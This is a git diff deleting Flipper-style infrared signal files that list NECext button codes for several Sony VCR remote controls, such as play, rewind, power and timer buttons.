file -Version: 1 -# -name: DAY_UP -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 06 00 00 00 -# -name: DAY_DOWN -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 07 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 08 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 09 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0A 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0B 00 00 00 -# -name: THEME -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0C 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0E 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0F 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0F 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 10 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 10 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 10 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 10 00 00 00 -# -name: RR -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 10 00 00 00 -# -name: LT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 11 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 11 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 11 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 11 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 11 00 00 00 -# -name: RT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_"OK" -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 18 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 18 00 00 00 -# -name: EXECUTE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 18 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 18 00 00 00 -# -name: SMART_FILE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 1C 00 00 00 -# -name: TAPE_GUIDE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 1C 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 35 00 00 00 -# -name: INPUT_1_VTR_3 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 35 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 35 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 36 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 37 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 38 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 3C 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 43 00 00 00 -# -name: VCR_PLUS -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 60 00 00 00 -# -name: VCR_PLUS+ -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 60 00 00 00 -# -name: VCR_PLUS_+ -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 60 00 00 00 -# -name: VCR+ -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 60 00 00 00 -# -name: VCR_PLUS:_ONCE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 61 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 61 00 00 00 -# -name: ONCE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 61 00 00 00 -# -name: VCR_PLUS:_DAILY -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 62 00 00 00 -# -name: DAILY -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 62 00 00 00 -# -name: VCR_PLUS:_WEEKLY -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 63 00 00 00 -# -name: WEEKLY -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir deleted file mode 100644 index 93c7d1940..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir +++ /dev/null @@ -1,608 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: PAUSE_II -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: <<_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: >>_FAST_FORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: RECORD_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: TRACKING_AUTO/MANUAL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: AUTO/MANUAL_TRACKING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: <<_SEARCH -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 29 00 00 00 -# -name: >>_SEARCH -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 29 00 00 00 -# -name: TV/VTR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: VTR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: VTR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: POWER_ON_VTR_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: POWER_OFF_VTR_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 30 00 00 00 -# -name: <<_FRAME -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 30 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 31 00 00 00 -# -name: >>_FRAME -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 31 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3D 00 00 00 -# -name: SLOW_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3D 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 -# -name: SLOW_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 -# -name: COUNTER_REMAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 44 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 45 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 46 00 00 00 -# -name: INDEX_MARK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 48 00 00 00 -# -name: INDEX_ERASE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 49 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4F 00 00 00 -# -name: EXECUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 -# -name: QUICK_TIMER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 52 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 53 00 00 00 -# -name: INDEX_SEARCH_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 56 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 56 00 00 00 -# -name: INDEX_SEARCH_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 57 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 57 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5A 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5D 00 00 00 -# -name: SMART_QUE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 61 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 61 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 62 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 62 00 00 00 -# -name: TIMER_REC_CLEAR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 63 00 00 00 -# -name: CEAR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 63 00 00 00 -# -name: TIMER_CLEAR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 63 00 00 00 -# -name: TIMER_REC_ON/OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 65 00 00 00 -# -name: TIMER_ON/OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 65 00 00 00 -# -name: INSERT_AUDIO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 68 00 00 00 -# -name: INSERT_VIDEO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 69 00 00 00 -# -name: HIGH_SPEED_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7D 00 00 00 -# -name: HI-SPEED_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir deleted file mode 100644 index 92c57dadb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 00 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 01 00 00 00 -# -name: DATA_CODE -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 02 00 00 00 -# -name: COUNTER_SELECT -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 04 00 00 00 -# -name: X_2 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 09 00 00 00 -# -name: -/-_- -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 0A 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 0A 00 00 00 -# -name: PROGRAM_+ -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 10 00 00 00 -# -name: PROGRAM_- -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 15 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 16 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 1A 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 1B 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 1C 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 1D 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 23 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 28 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 29 00 00 00 -# -name: TV/VTR -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 2A 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 30 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 31 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 43 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 4D 00 00 00 -# -name: EXECUTE -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 51 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 61 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 19 25 00 00 -command: 62 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir deleted file mode 100644 index 48d1939c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SEARCH_SELECT -type: parsed -protocol: NECext -address: 19 45 00 00 -command: 2D 00 00 00 -# -name: PRINT -type: parsed -protocol: NECext -address: 19 45 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir deleted file mode 100644 index 89c969fbb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir deleted file mode 100644 index 7df48171e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir +++ /dev/null @@ -1,530 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: X2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: RR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: <<_REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: RECORD_STANDBY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: TRACKING_AUTO/MANUAL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: AUTO/MANUAL_TRACKING -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: SEARCH<< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: <<_SEARCH -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: SEARCH>> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: >>_SEARCH -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: TV/VTR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2F 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2F 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: <<_FRAME -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: >>_FRAME -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3D 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3E 00 00 00 -# -name: COUNTER_REMAIN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 43 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 44 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 45 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 46 00 00 00 -# -name: INDEX_MARK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 48 00 00 00 -# -name: INDEX_ERASE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 49 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4D 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4F 00 00 00 -# -name: EXECUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 51 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 51 00 00 00 -# -name: QUICK_TIMER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 52 00 00 00 -# -name: INDEX_SEARCH_>> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 56 00 00 00 -# -name: INDEX_SEARCH_<< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 57 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5A 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5D 00 00 00 -# -name: SMART_QUE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 61 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 62 00 00 00 -# -name: TIMER_REC_CLEAR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 63 00 00 00 -# -name: CEAR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 63 00 00 00 -# -name: TIMER_CLEAR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 63 00 00 00 -# -name: TIMER_REC_ON/OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 65 00 00 00 -# -name: TIMER_ON/OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 65 00 00 00 -# 